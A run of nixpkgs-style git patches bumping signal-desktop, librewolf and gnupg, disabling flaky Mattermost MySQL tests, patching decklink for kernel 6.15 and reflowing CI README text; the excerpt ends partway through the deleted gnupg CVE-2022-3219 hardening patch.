-      aespinosa
-      ironpinguin
-      luftmensch-luftmensch
-      zaninime
+    knownVulnerabilities = [
+      "Nexus 3.77 + 3.78 fixed a bunch of security issues: https://help.sonatype.com/en/sonatype-nexus-repository-3-78-0-release-notes.html"
+      "CVE-2024-47554"
+      "CVE-2024-5764"
+      "Sonatype-2015-0286"
+      "Sonatype-2022-6438"
+      "CVE-2023-6378"
+      "CVE-2023-4218"
     ];
+    maintainers = with lib.maintainers; [ ];
   };
 }

From 6756714a9a4566c9a6307a5cd3b855f5e37a6480 Mon Sep 17 00:00:00 2001
From: Morgan Jones <me@numin.it>
Date: Sun, 15 Jun 2025 19:43:07 -0700
Subject: [PATCH 1797/4511] mattermost: disable MySQL tests

(cherry picked from commit 832348682114ac3e3bfaaf4675e92c03410195b3)
---
 pkgs/by-name/ma/mattermost/tests.nix | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ma/mattermost/tests.nix b/pkgs/by-name/ma/mattermost/tests.nix
index e6918b8bff70..39b60f60c8bc 100644
--- a/pkgs/by-name/ma/mattermost/tests.nix
+++ b/pkgs/by-name/ma/mattermost/tests.nix
@@ -145,9 +145,12 @@ mattermost.overrideAttrs (
         "TestRunServerNoSystemd"
 
         # Appear to be broken.
-        "TestSessionStore/MySQL/SessionGetWithDeviceId"
-        "TestSessionStore/MySQL/GetMobileSessionMetadata"
-        "TestSessionStore/MySQL/GetSessionsWithActiveDeviceIds"
+        "TestSessionStore/MySQL"
+        "TestAccessControlPolicyStore/MySQL"
+        "TestAttributesStore/MySQL"
+        "TestBasicAPIPlugins"
+
+        "TestRunExportJobE2EByType"
         "TestUpdateTeam"
         "TestSyncSyncableRoles"
       ]

From 64d3cc1d439a7fd8a8ce84faff644026d842b3c5 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 29 Jun 2025 17:19:56 +0000
Subject: [PATCH 1798/4511] signal-desktop: 7.58.0 -> 7.59.0

(cherry picked from commit c61e6e95e5bbfb7fe1ba97f941933b771eea76bd)
---
 pkgs/by-name/si/signal-desktop/libsignal-node.nix |  8 ++++----
 pkgs/by-name/si/signal-desktop/package.nix        | 10 +++++-----
 2 files changed, 9 insertions(+), 9 deletions(-)

diff --git a/pkgs/by-name/si/signal-desktop/libsignal-node.nix b/pkgs/by-name/si/signal-desktop/libsignal-node.nix
index 3d2aee9a4498..3c61ab703de1 100644
--- a/pkgs/by-name/si/signal-desktop/libsignal-node.nix
+++ b/pkgs/by-name/si/signal-desktop/libsignal-node.nix
@@ -24,23 +24,23 @@ let
 in
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "libsignal-node";
-  version = "0.72.1";
+  version = "0.74.1";
 
   src = fetchFromGitHub {
     owner = "signalapp";
     repo = "libsignal";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-A8EAHHcBFSD4ZlvFig64g4+eoZQCuqE/qv509hA3I4s=";
+    hash = "sha256-ZMi+/d051CS7TcWVZnVItNpok0ac+vAvvZL/buNrtL0=";
   };
   useFetchCargoVendor = true;
-  cargoHash = "sha256-+vJrywIi/RcGGGns42XlN6S63RBil3fB4XByTLsaFVc=";
+  cargoHash = "sha256-pRMFWJSRjhZYfX7dmOQXK3BjhJKzPR1Pg+TZzTfPnd4=";
 
   npmRoot = "node";
   npmDeps = fetchNpmDeps {
     name = "${finalAttrs.pname}-npm-deps";
     inherit (finalAttrs) version src;
     sourceRoot = "${finalAttrs.src.name}/${finalAttrs.npmRoot}";
-    hash = "sha256-ZD0ZN2b7KReGbnvarqvGpOlQ5TsJfnaHmmOWQ42Y48E=";
+    hash = "sha256-9x1oCzZLBeX0AN+R4qcyBNwsJ/AY6mebCEEfQ5JKpl8=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/si/signal-desktop/package.nix b/pkgs/by-name/si/signal-desktop/package.nix
index 1dd3a017068c..d45eb0ca4033 100644
--- a/pkgs/by-name/si/signal-desktop/package.nix
+++ b/pkgs/by-name/si/signal-desktop/package.nix
@@ -50,13 +50,13 @@ let
     '';
   });
 
-  version = "7.58.0";
+  version = "7.59.0";
 
   src = fetchFromGitHub {
     owner = "signalapp";
     repo = "Signal-Desktop";
     tag = "v${version}";
-    hash = "sha256-0WO4cjbZLVaf/ju7PdfZJKOa7qGXsjWZHGY8lxOvr3w=";
+    hash = "sha256-Brvr4SQ2TzAqrvXm9C7a1ejaP4kviJoQhgRBP3R3dIg=";
   };
 
   sticker-creator = stdenv.mkDerivation (finalAttrs: {
@@ -118,15 +118,15 @@ stdenv.mkDerivation (finalAttrs: {
       ;
     hash =
       if withAppleEmojis then
-        "sha256-h2yaGRqAtVh/8Jv+YZAcXw3/b8+fi+cKFSqcRhMH2sM="
+        "sha256-mVC7dOsBcBrOEuz7t4xMv1QX2ZgfA5EjnRYunZEx73E="
       else
-        "sha256-1dkJBIQVJxpsd8IQIlRncDYHp+2j0fowlbEEWpQSPtI=";
+        "sha256-9hvqLZGSrzJD5vMTdHoIpDeRM6fu2JSRNdHgyeSWmDY=";
   };
 
   env = {
     ELECTRON_SKIP_BINARY_DOWNLOAD = "1";
     SIGNAL_ENV = "production";
-    SOURCE_DATE_EPOCH = 1750276003;
+    SOURCE_DATE_EPOCH = 1750885921;
   };
 
   preBuild = ''

From ebe1c30bfcef650a0281273cf422fe792f173d8d Mon Sep 17 00:00:00 2001
From: Franz Pletz <fpletz@fnordicwalking.de>
Date: Sun, 29 Jun 2025 01:12:53 +0200
Subject: [PATCH 1799/4511] librewolf-unwrapped: 139.0.4-1 -> 140.0.2-1

(cherry picked from commit 0c9b46d726de1def9234da1d4cd7773e1ed87fe2)
---
 .../networking/browsers/librewolf/src.json             | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/applications/networking/browsers/librewolf/src.json b/pkgs/applications/networking/browsers/librewolf/src.json
index 4b24b1a27002..95333e42627e 100644
--- a/pkgs/applications/networking/browsers/librewolf/src.json
+++ b/pkgs/applications/networking/browsers/librewolf/src.json
@@ -1,11 +1,11 @@
 {
-  "packageVersion": "139.0.4-1",
+  "packageVersion": "140.0.2-1",
   "source": {
-    "rev": "139.0.4-1",
-    "hash": "sha256-rEhidZsJEQU8ist278Cw1//+MVWz1UqqZPDF9v+H+cc="
+    "rev": "140.0.2-1",
+    "hash": "sha256-xCKZgnPAoY5y5NmM0/qSeLRvB5ZirnPyxxoNnYA4ZRs="
   },
   "firefox": {
-    "version": "139.0.4",
-    "hash": "sha512-+lrnmLDNSF4KVrDFftfzPg0O+SEwLcAWnqyRkmGUq+IHC+tUI5yBkk+BmmC1ifMF+SOXDXU8B7pQrMNuGkkttA=="
+    "version": "140.0.2",
+    "hash": "sha512-EdMpXIKDVmj0OoiL1araIiSHduAzrsx1WDSObuJmJr9LZbuq4mgPcoWmsrYgnsXUrqRT8eBgNUTNSL9FxzWy6g=="
   }
 }

From 219da19436ffeb39b410b3d418ada75d58344dd5 Mon Sep 17 00:00:00 2001
From: Naxdy <naxdy@naxdy.org>
Date: Fri, 20 Jun 2025 17:29:31 +0200
Subject: [PATCH 1800/4511] decklink: fix build for kernel 6.15

(cherry picked from commit 1d1faeb638eed5f6fe6a1f4d20a9d42dafd5dc51)
---
 .../decklink/02-rename-timer-delete.patch     | 26 +++++++++++++++++++
 pkgs/os-specific/linux/decklink/default.nix   | 21 +++++++++------
 2 files changed, 39 insertions(+), 8 deletions(-)
 create mode 100644 pkgs/os-specific/linux/decklink/02-rename-timer-delete.patch

diff --git a/pkgs/os-specific/linux/decklink/02-rename-timer-delete.patch b/pkgs/os-specific/linux/decklink/02-rename-timer-delete.patch
new file mode 100644
index 000000000000..3535f8b9af09
--- /dev/null
+++ b/pkgs/os-specific/linux/decklink/02-rename-timer-delete.patch
@@ -0,0 +1,26 @@
+diff --git a/blackmagic-io-14.4.1a4/bm_util.c b/blackmagic-io-14.4.1a4/bm_util.c
+index 66751cb..bf9723c 100644
+--- a/blackmagic-io-14.4.1a4/bm_util.c
++++ b/blackmagic-io-14.4.1a4/bm_util.c
+@@ -471,10 +471,10 @@ void bm_timer_free(bm_timer_t* timer)
+ {
+ #if KERNEL_VERSION_OR_LATER(4, 15, 0)
+ 	struct bm_timer_wrapper* timer_wrapper = container_of(timer, struct bm_timer_wrapper, timer);
+-	del_timer(timer);
++	timer_delete(timer);
+ 	bm_kfree(timer_wrapper);
+ #else
+-	del_timer(timer);
++	timer_delete(timer);
+ 	bm_kfree(timer);
+ #endif
+ }
+@@ -491,7 +491,7 @@ void bm_timer_expire_at(bm_timer_t* timer, uint64_t ns)
+ 
+ void bm_timer_cancel(bm_timer_t* timer)
+ {
+-	del_timer_sync(timer);
++	timer_delete_sync(timer);
+ }
+ 
+ // Event waiting
diff --git a/pkgs/os-specific/linux/decklink/default.nix b/pkgs/os-specific/linux/decklink/default.nix
index 3c2320b43a26..03f1b5cb61f8 100644
--- a/pkgs/os-specific/linux/decklink/default.nix
+++ b/pkgs/os-specific/linux/decklink/default.nix
@@ -13,14 +13,19 @@ stdenv.mkDerivation (finalAttrs: {
   # See pkgs/by-name/bl/blackmagic-desktop-video/package.nix for more.
   inherit (blackmagic-desktop-video) src version;
 
-  patches = lib.optionals (lib.versionAtLeast kernel.modDirVersion "6.13") [
-    # needed for version 14.4.x to build for kernel 6.13
-    (fetchpatch {
-      name = "01-update-makefiles";
-      url = "https://aur.archlinux.org/cgit/aur.git/plain/01-update-makefiles.patch?h=decklink";
-      hash = "sha256-l3iu0fG/QJMdGI/WSlNn+qjF4nK25JxoiwhPrMGTqE4=";
-    })
-  ];
+  patches =
+    (lib.optionals (lib.versionAtLeast kernel.modDirVersion "6.13") [
+      # needed for version 14.4.x to build for kernel 6.13
+      (fetchpatch {
+        name = "01-update-makefiles";
+        url = "https://aur.archlinux.org/cgit/aur.git/plain/01-update-makefiles.patch?h=decklink";
+        hash = "sha256-l3iu0fG/QJMdGI/WSlNn+qjF4nK25JxoiwhPrMGTqE4=";
+      })
+    ])
+    ++ (lib.optionals (lib.versionAtLeast kernel.modDirVersion "6.15") [
+      # needed for version 14.4.x to build for kernel 6.15
+      ./02-rename-timer-delete.patch
+    ]);
 
   KERNELDIR = "${kernel.dev}/lib/modules/${kernel.modDirVersion}/build";
   INSTALL_MOD_PATH = placeholder "out";

From 8d80a5164fbfee749e6ab5cf2c88133f17f6dee4 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 29 Jun 2025 19:14:47 +0200
Subject: [PATCH 1801/4511] ci/README.md: one sentence per line

(cherry picked from commit 99f2e655d9db009ee0b4ede3edced5f6c882c7f4)
---
 ci/README.md | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/ci/README.md b/ci/README.md
index 7df3b1533e59..c55d0ca62d07 100644
--- a/ci/README.md
+++ b/ci/README.md
@@ -6,20 +6,21 @@ This is in contrast with [`maintainers/scripts`](../maintainers/scripts) which i
 ## Pinned Nixpkgs
 
 CI may need certain packages from Nixpkgs.
-In order to ensure that the needed packages are generally available without building,
-[`pinned.json`](./pinned.json) contains a pinned Nixpkgs version tested by Hydra.
+In order to ensure that the needed packages are generally available without building, [`pinned.json`](./pinned.json) contains a pinned Nixpkgs version tested by Hydra.
 
 Run [`update-pinned.sh`](./update-pinned.sh) to update it.
 
 ## `ci/nixpkgs-vet.sh BASE_BRANCH [REPOSITORY]`
 
-Runs the [`nixpkgs-vet` tool](https://github.com/NixOS/nixpkgs-vet) on the HEAD commit, closely matching what CI does. This can't do exactly the same as CI, because CI needs to rely on GitHub's server-side Git history to compute the mergeability of PRs before the check can be started.
+Runs the [`nixpkgs-vet` tool](https://github.com/NixOS/nixpkgs-vet) on the HEAD commit, closely matching what CI does.
+This can't do exactly the same as CI, because CI needs to rely on GitHub's server-side Git history to compute the mergeability of PRs before the check can be started.
 In turn, when contributors are running this tool locally, we don't want to have to push commits to test them, and we can also rely on the local Git history to do the mergeability check.
 
 Arguments:
 
 - `BASE_BRANCH`: The base branch to use, e.g. master or release-24.05
-- `REPOSITORY`: The repository from which to fetch the base branch. Defaults to <https://github.com/NixOS/nixpkgs.git>.
+- `REPOSITORY`: The repository from which to fetch the base branch.
+  Defaults to <https://github.com/NixOS/nixpkgs.git>.
 
 # Branch classification
 

From 51f994d5b5301d4d55ebc025f6bdd8de4a939890 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 29 Jun 2025 19:14:57 +0200
Subject: [PATCH 1802/4511] ci/eval/README.md: one sentence per line

(cherry picked from commit 60e35e4ded6e91524364a74b3b4ec233ed9321f2)
---
 ci/eval/README.md | 13 +++++++++----
 1 file changed, 9 insertions(+), 4 deletions(-)

diff --git a/ci/eval/README.md b/ci/eval/README.md
index 011f3dd74ed0..ec7429b7bc78 100644
--- a/ci/eval/README.md
+++ b/ci/eval/README.md
@@ -11,10 +11,15 @@ nix-build ci -A eval.full \
   --arg evalSystems '["x86_64-linux" "aarch64-darwin"]'
 ```
 
-- `--max-jobs`: The maximum number of derivations to run at the same time. Only each [supported system](../supportedSystems.json) gets a separate derivation, so it doesn't make sense to set this higher than that number.
-- `--cores`: The number of cores to use for each job. Recommended to set this to the amount of cores on your system divided by `--max-jobs`.
-- `chunkSize`: The number of attributes that are evaluated simultaneously on a single core. Lowering this decreases memory usage at the cost of increased evaluation time. If this is too high, there won't be enough chunks to process them in parallel, and will also increase evaluation time.
-- `evalSystems`: The set of systems for which `nixpkgs` should be evaluated. Defaults to the four official platforms (`x86_64-linux`, `aarch64-linux`, `x86_64-darwin` and `aarch64-darwin`).
+- `--max-jobs`: The maximum number of derivations to run at the same time.
+  Only each [supported system](../supportedSystems.json) gets a separate derivation, so it doesn't make sense to set this higher than that number.
+- `--cores`: The number of cores to use for each job.
+  Recommended to set this to the amount of cores on your system divided by `--max-jobs`.
+- `chunkSize`: The number of attributes that are evaluated simultaneously on a single core.
+  Lowering this decreases memory usage at the cost of increased evaluation time.
+  If this is too high, there won't be enough chunks to process them in parallel, and will also increase evaluation time.
+- `evalSystems`: The set of systems for which `nixpkgs` should be evaluated.
+  Defaults to the four official platforms (`x86_64-linux`, `aarch64-linux`, `x86_64-darwin` and `aarch64-darwin`).
 
 A good default is to set `chunkSize` to 10000, which leads to about 3.6GB max memory usage per core, so suitable for fully utilising machines with 4 cores and 16GB memory, 8 cores and 32GB memory or 16 cores and 64GB memory.
 

From e80b7744ac9111f9c5af1bdf0bc7a695c8489646 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 29 Jun 2025 19:15:06 +0200
Subject: [PATCH 1803/4511] .github/workflows/README.md: one sentence per line

(cherry picked from commit 3d505c03610b6102af6d870ae3506a151cef1f68)
---
 .github/workflows/README.md | 47 +++++++++++++++++++++++++++----------
 1 file changed, 34 insertions(+), 13 deletions(-)

diff --git a/.github/workflows/README.md b/.github/workflows/README.md
index e3be33ae6456..c2a16827ebd4 100644
--- a/.github/workflows/README.md
+++ b/.github/workflows/README.md
@@ -2,21 +2,35 @@
 
 Some architectural notes about key decisions and concepts in our workflows:
 
-- Instead of `pull_request` we use [`pull_request_target`](https://docs.github.com/actions/writing-workflows/choosing-when-your-workflow-runs/events-that-trigger-workflows#pull_request_target) for all PR-related workflows. This has the advantage that those workflows will run without prior approval for external contributors.
+- Instead of `pull_request` we use [`pull_request_target`](https://docs.github.com/actions/writing-workflows/choosing-when-your-workflow-runs/events-that-trigger-workflows#pull_request_target) for all PR-related workflows.
+  This has the advantage that those workflows will run without prior approval for external contributors.
 
-- Running on `pull_request_target` also optionally provides us with a GH_TOKEN with elevated privileges (write access), which we need to do things like adding labels, requesting reviewers or pushing branches. **Note about security:** We need to be careful to limit the scope of elevated privileges as much as possible. Thus they should be lowered to the minimum with `permissions: {}` in every workflow by default.
+- Running on `pull_request_target` also optionally provides us with a GH_TOKEN with elevated privileges (write access), which we need to do things like adding labels, requesting reviewers or pushing branches.
+  **Note about security:** We need to be careful to limit the scope of elevated privileges as much as possible.
+  Thus they should be lowered to the minimum with `permissions: {}` in every workflow by default.
 
-- By definition `pull_request_target` runs in the context of the **base** of the pull request. This means, that the workflow files to run will be taken from the base branch, not the PR, and actions/checkout will not checkout the PR, but the base branch, by default. To protect our secrets, we need to make sure to **never execute code** from the pull request and always evaluate or build nix code from the pull request with the **sandbox enabled**.
+- By definition `pull_request_target` runs in the context of the **base** of the pull request.
+  This means, that the workflow files to run will be taken from the base branch, not the PR, and actions/checkout will not checkout the PR, but the base branch, by default.
+  To protect our secrets, we need to make sure to **never execute code** from the pull request and always evaluate or build nix code from the pull request with the **sandbox enabled**.
 
-- To test the pull request's contents, we checkout the "test merge commit". This is a temporary commit that GitHub creates automatically as "what would happen, if this PR was merged into the base branch now?". The checkout could be done via the virtual branch `refs/pull/<pr-number>/merge`, but doing so would cause failures when this virtual branch doesn't exist (anymore). This can happen when the PR has conflicts, in which case the virtual branch is not created, or when the PR is getting merged while workflows are still running, in which case the branch won't exist anymore at the time of checkout. Thus, we use the `get-merge-commit.yml` workflow to check whether the PR is mergeable and the test merge commit exists and only then run the relevant jobs.
+- To test the pull request's contents, we checkout the "test merge commit".
+  This is a temporary commit that GitHub creates automatically as "what would happen, if this PR was merged into the base branch now?".
+  The checkout could be done via the virtual branch `refs/pull/<pr-number>/merge`, but doing so would cause failures when this virtual branch doesn't exist (anymore).
+  This can happen when the PR has conflicts, in which case the virtual branch is not created, or when the PR is getting merged while workflows are still running, in which case the branch won't exist anymore at the time of checkout.
+  Thus, we use the `get-merge-commit.yml` workflow to check whether the PR is mergeable and the test merge commit exists and only then run the relevant jobs.
 
-- Various workflows need to make comparisons against the base branch. In this case, we checkout the parent of the "test merge commit" for best results. Note, that this is not necessarily the same as the default commit that actions/checkout would use, which is also a commit from the base branch (see above), but might be older.
+- Various workflows need to make comparisons against the base branch.
+  In this case, we checkout the parent of the "test merge commit" for best results.
+  Note, that this is not necessarily the same as the default commit that actions/checkout would use, which is also a commit from the base branch (see above), but might be older.
 
 ## Terminology
 
-- **base commit**: The pull_request_target event's context commit, i.e. the base commit given by GitHub Actions. Same as `github.event.pull_request.base.sha`.
-- **head commit**: The HEAD commit in the pull request's branch. Same as `github.event.pull_request.head.sha`.
-- **merge commit**: The temporary "test merge commit" that GitHub Actions creates and updates for the pull request. Same as `refs/pull/${{ github.event.pull_request.number }}/merge`.
+- **base commit**: The pull_request_target event's context commit, i.e. the base commit given by GitHub Actions.
+  Same as `github.event.pull_request.base.sha`.
+- **head commit**: The HEAD commit in the pull request's branch.
+  Same as `github.event.pull_request.head.sha`.
+- **merge commit**: The temporary "test merge commit" that GitHub Actions creates and updates for the pull request.
+  Same as `refs/pull/${{ github.event.pull_request.number }}/merge`.
 - **target commit**: The base branch's parent of the "test merge commit" to compare against.
 
 ## Concurrency Groups
@@ -25,15 +39,22 @@ We use [GitHub's Concurrency Groups](https://docs.github.com/en/actions/writing-
 When two workflows are in the same group, a newer workflow cancels an older workflow.
 Thus, it is important how to construct the group keys:
 
-- Because we want to run jobs for different events at same time, we add `github.event_name` to the key. This is the case for the `pull_request` which runs on changes to the workflow files to test the new files and the same workflow from the base branch run via `pull_request_event`.
+- Because we want to run jobs for different events at same time, we add `github.event_name` to the key.
+  This is the case for the `pull_request` which runs on changes to the workflow files to test the new files and the same workflow from the base branch run via `pull_request_event`.
 
-- We don't want workflows of different Pull Requests to cancel each other, so we include `github.event.pull_request.number`. The [GitHub docs](https://docs.github.com/en/actions/writing-workflows/choosing-what-your-workflow-does/control-the-concurrency-of-workflows-and-jobs#example-using-a-fallback-value) show using `github.head_ref` for this purpose, but this doesn't work well with forks: Different users could have the same head branch name in their forks and run CI for their PRs at the same time.
+- We don't want workflows of different Pull Requests to cancel each other, so we include `github.event.pull_request.number`.
+  The [GitHub docs](https://docs.github.com/en/actions/writing-workflows/choosing-what-your-workflow-does/control-the-concurrency-of-workflows-and-jobs#example-using-a-fallback-value) show using `github.head_ref` for this purpose, but this doesn't work well with forks: Different users could have the same head branch name in their forks and run CI for their PRs at the same time.
 
-- Sometimes, there is no `pull_request.number`. To ensure non-PR runs are never cancelled, we add a fallback of `github.run_id`. This is a unique value for each workflow run.
+- Sometimes, there is no `pull_request.number`.
+  To ensure non-PR runs are never cancelled, we add a fallback of `github.run_id`.
+  This is a unique value for each workflow run.
 
-- Of course, we run multiple workflows at the same time, so we add `github.workflow` to the key. Otherwise workflows would cancel each other.
+- Of course, we run multiple workflows at the same time, so we add `github.workflow` to the key.
+  Otherwise workflows would cancel each other.
 
-- There is a special case for reusable workflows called via `workflow_call` - they will have `github.workflow` set to their parent workflow's name. Thus, they would cancel each other. That's why we additionally hardcode the name of the workflow as well.
+- There is a special case for reusable workflows called via `workflow_call` - they will have `github.workflow` set to their parent workflow's name.
+  Thus, they would cancel each other.
+  That's why we additionally hardcode the name of the workflow as well.
 
 This results in a key with the following semantics:
 

From 4b730fe8f58c0c9b5ea1659c36a6d1b7fdbcb596 Mon Sep 17 00:00:00 2001
From: misilelab <misileminecord@gmail.com>
Date: Fri, 16 May 2025 09:04:56 +0900
Subject: [PATCH 1804/4511] gnupg: 2.4.7 -> 2.4.8

https://git.gnupg.org/cgi-bin/gitweb.cgi?p=gnupg.git;a=blob;f=NEWS;hb=refs/tags/gnupg-2.4.8

CVE-2022-3219.patch is now
0019-Disallow-compressed-signatures-and-certificates.patch from FreePG.

Signed-off-by: misilelab <misileminecord@gmail.com>
Co-authored-by: Alyssa Ross <hi@alyssa.is>
(cherry picked from commit be9e7056e415238610bb35ea86b7c67f5cb7afcd)
---
 pkgs/tools/security/gnupg/24.nix              |  29 ++-
 pkgs/tools/security/gnupg/CVE-2022-3219.patch | 216 ------------------
 2 files changed, 21 insertions(+), 224 deletions(-)
 delete mode 100644 pkgs/tools/security/gnupg/CVE-2022-3219.patch

diff --git a/pkgs/tools/security/gnupg/24.nix b/pkgs/tools/security/gnupg/24.nix
index 0b78165a7c26..d2a9462b193a 100644
--- a/pkgs/tools/security/gnupg/24.nix
+++ b/pkgs/tools/security/gnupg/24.nix
@@ -35,11 +35,11 @@ assert guiSupport -> !enableMinimal;
 
 stdenv.mkDerivation rec {
   pname = "gnupg";
-  version = "2.4.7";
+  version = "2.4.8";
 
   src = fetchurl {
     url = "mirror://gnupg/gnupg/${pname}-${version}.tar.bz2";
-    hash = "sha256-eyRwbk2n4OOwbKBoIxAnQB8jgQLEHJCWMTSdzDuF60Y=";
+    hash = "sha256-tYyA15sE0yQ/9JwcP8a1+DE46zeEaJVjvN0GBZUxhhY=";
   };
 
   depsBuildBuild = [ buildPackages.stdenv.cc ];
@@ -80,14 +80,13 @@ stdenv.mkDerivation rec {
     domain = "gitlab.com";
     owner = "freepg";
     repo = "gnupg";
-    rev = "541772915dc4ec832c37f85bc629a22051f0e8f7";
-    hash = "sha256-QOUY6EfJbTTN242BtzLojDgECGjUwbLfPJgzn/mj5L8=";
+    rev = "361c223eb00ca372fbf9506f5150ddbec193936f";
+    hash = "sha256-hRuwrB6G2vjp7Md6m+cwoi7g4GtW0sazAEN5RC+AKdg=";
   };
 
   patches =
     [
       ./fix-libusb-include-path.patch
-      ./CVE-2022-3219.patch
       ./static.patch
     ]
     ++ lib.map (v: "${freepgPatches}/STABLE-BRANCH-2-4-freepg/" + v) [
@@ -95,11 +94,25 @@ stdenv.mkDerivation rec {
       "0003-gpg-allow-import-of-previously-known-keys-even-witho.patch"
       "0004-tests-add-test-cases-for-import-without-uid.patch"
       "0005-gpg-drop-import-clean-from-default-keyserver-import-.patch"
-      "0006-Do-not-use-OCB-mode-even-if-AEAD-OCB-key-preference-.patch"
-      "0007-Revert-the-introduction-of-the-RFC4880bis-draft-into.patch"
       "0008-avoid-systemd-deprecation-warning.patch"
       "0009-Add-systemd-support-for-keyboxd.patch"
-      "0010-doc-Remove-profile-and-systemd-example-files.patch"
+      "0010-Ship-sample-systemd-unit-files.patch"
+      "0011-el-gamal-default-to-3072-bits.patch"
+      "0012-gpg-default-digest-algorithm-SHA512.patch"
+      "0013-gpg-Prefer-SHA-512-and-SHA-384-in-personal-digest.patch"
+      "0018-Avoid-simple-memory-dumps-via-ptrace.patch"
+      "0019-Disallow-compressed-signatures-and-certificates.patch"
+      "0020-ssh-agent-emulation-under-systemd-inject-SSH_AUTH_SO.patch"
+      "0021-gpg-Sync-compliance-mode-cleanup-with-master.patch"
+      "0022-gpg-emit-RSA-pubkey-algorithm-when-in-compatibility-.patch"
+      "0023-gpg-Reintroduce-openpgp-as-distinct-from-rfc4880.patch"
+      "0024-gpg-Emit-LibrePGP-material-only-in-compliance-gnupg.patch"
+      "0025-gpg-gpgconf-list-report-actual-compliance-mode.patch"
+      "0026-gpg-Default-to-compliance-openpgp.patch"
+      "0027-gpg-Fix-newlines-in-Cleartext-Signature-Framework-CS.patch"
+      "0029-Add-keyboxd-systemd-support.patch"
+      "0033-Support-large-RSA-keygen-in-non-batch-mode.patch"
+      "0034-gpg-Verify-Text-mode-Signatures-over-binary-Literal-.patch"
     ];
 
   postPatch =
diff --git a/pkgs/tools/security/gnupg/CVE-2022-3219.patch b/pkgs/tools/security/gnupg/CVE-2022-3219.patch
deleted file mode 100644
index 267085dff4c8..000000000000
--- a/pkgs/tools/security/gnupg/CVE-2022-3219.patch
+++ /dev/null
@@ -1,216 +0,0 @@
-From 459b61fa21db755d6c879c3ef9ab85b3d1786c9f Mon Sep 17 00:00:00 2001
-From: Demi Marie Obenour <demi () invisiblethingslab com>
-Date: Fri, 27 May 2022 19:51:19 -0400
-Subject: [PATCH GnuPG v3] Disallow compressed signatures and certificates
-
-Compressed packets have significant attack surface, due to the potential
-for both denial of service (zip bombs and the like) and for code
-execution via memory corruption vulnerabilities in the decompressor.
-Furthermore, I am not aware of any implementation that uses them in keys
-or detached signatures.  Therefore, disallow their use in such contexts
-entirely.  This includes signatures that are part of a cleartext-signed
-message.
-
-When parsing detached signatures, forbid any packet that is not a
-signature or marker packet.  When parsing keys, return an error when
-encountering a compressed packet, instead of decompressing the packet.
-
-Furthermore, certificates, keys, and signatures are not allowed to
-contain partial-length or indeterminate-length packets.  Reject those in
-parse_packet, rather than activating the partial-length filter code.
-This is not (yet) implemented for cleartext-signed messages, as these
-messages are internally represented as inline-signed messages.
-
-GnuPG-bug-id: T5993
-Signed-off-by: Demi Marie Obenour <demiobenour () gmail com>
----
- g10/import.c       | 18 ++----------------
- g10/mainproc.c     | 24 +++++++++++++++++++++---
- g10/packet.h       |  2 ++
- g10/parse-packet.c | 44 +++++++++++++++++++++++++++++++++++++++++++-
- 4 files changed, 68 insertions(+), 20 deletions(-)
-
-diff --git a/g10/import.c b/g10/import.c
-index bb0bf67934a8316130cde182cd43d56353e0171d..a8136351f6f7dae8c65634ed8e1c242d323e2009 100644
---- a/g10/import.c
-+++ b/g10/import.c
-@@ -1042,22 +1042,8 @@ read_block( IOBUF a, unsigned int options,
-       switch (pkt->pkttype)
-         {
-         case PKT_COMPRESSED:
--          if (check_compress_algo (pkt->pkt.compressed->algorithm))
--            {
--              rc = GPG_ERR_COMPR_ALGO;
--              goto ready;
--            }
--          else
--            {
--              compress_filter_context_t *cfx = xmalloc_clear( sizeof *cfx );
--              pkt->pkt.compressed->buf = NULL;
--              if (push_compress_filter2 (a, cfx,
--                                         pkt->pkt.compressed->algorithm, 1))
--                xfree (cfx); /* e.g. in case of compression_algo NONE.  */
--            }
--          free_packet (pkt, &parsectx);
--          init_packet(pkt);
--          break;
-+          rc = GPG_ERR_UNEXPECTED;
-+          goto ready;
- 
-         case PKT_RING_TRUST:
-           /* Skip those packets unless we are in restore mode.  */
-diff --git a/g10/mainproc.c b/g10/mainproc.c
-index af11877aa257e46662c42b6ff573ee01c3ad1547..3629fc921b742afd131e8d8e2664b201095990f0 100644
---- a/g10/mainproc.c
-+++ b/g10/mainproc.c
-@@ -152,6 +152,7 @@ add_onepass_sig (CTX c, PACKET *pkt)
- {
-   kbnode_t node;
- 
-+  log_assert(!(c->sigs_only && c->signed_data.used));
-   if (c->list) /* Add another packet. */
-     add_kbnode (c->list, new_kbnode (pkt));
-   else /* Insert the first one.  */
-@@ -1076,8 +1077,16 @@ proc_compressed (CTX c, PACKET *pkt)
-   int rc;
- 
-   /*printf("zip: compressed data packet\n");*/
--  if (c->sigs_only)
--    rc = handle_compressed (c->ctrl, c, zd, proc_compressed_cb, c);
-+  if ( literals_seen )
-+    {
-+      log_error ("Compressed packet follows literal data packet\n");
-+      rc = GPG_ERR_UNEXPECTED;
-+    }
-+  else if ( c->sigs_only )
-+    {
-+      log_assert(!c->signed_data.used);
-+      rc = handle_compressed (c->ctrl, c, zd, proc_compressed_cb, c);
-+    }
-   else if( c->encrypt_only )
-     rc = handle_compressed (c->ctrl, c, zd, proc_encrypt_cb, c);
-   else
-@@ -1596,6 +1605,7 @@ do_proc_packets (CTX c, iobuf_t a)
-   c->iobuf = a;
-   init_packet(pkt);
-   init_parse_packet (&parsectx, a);
-+  parsectx.sigs_only = c->sigs_only && c->signed_data.used;
-   while ((rc=parse_packet (&parsectx, pkt)) != -1)
-     {
-       any_data = 1;
-@@ -1607,6 +1617,12 @@ do_proc_packets (CTX c, iobuf_t a)
-           if (gpg_err_code (rc) == GPG_ERR_INV_PACKET
-               && opt.list_packets == 0)
-             break;
-+
-+          if (gpg_err_code (rc) == GPG_ERR_UNEXPECTED)
-+            {
-+              write_status_text( STATUS_UNEXPECTED, "0" );
-+              goto leave;
-+            }
-           continue;
- 	}
-       newpkt = -1;
-@@ -1644,7 +1660,9 @@ do_proc_packets (CTX c, iobuf_t a)
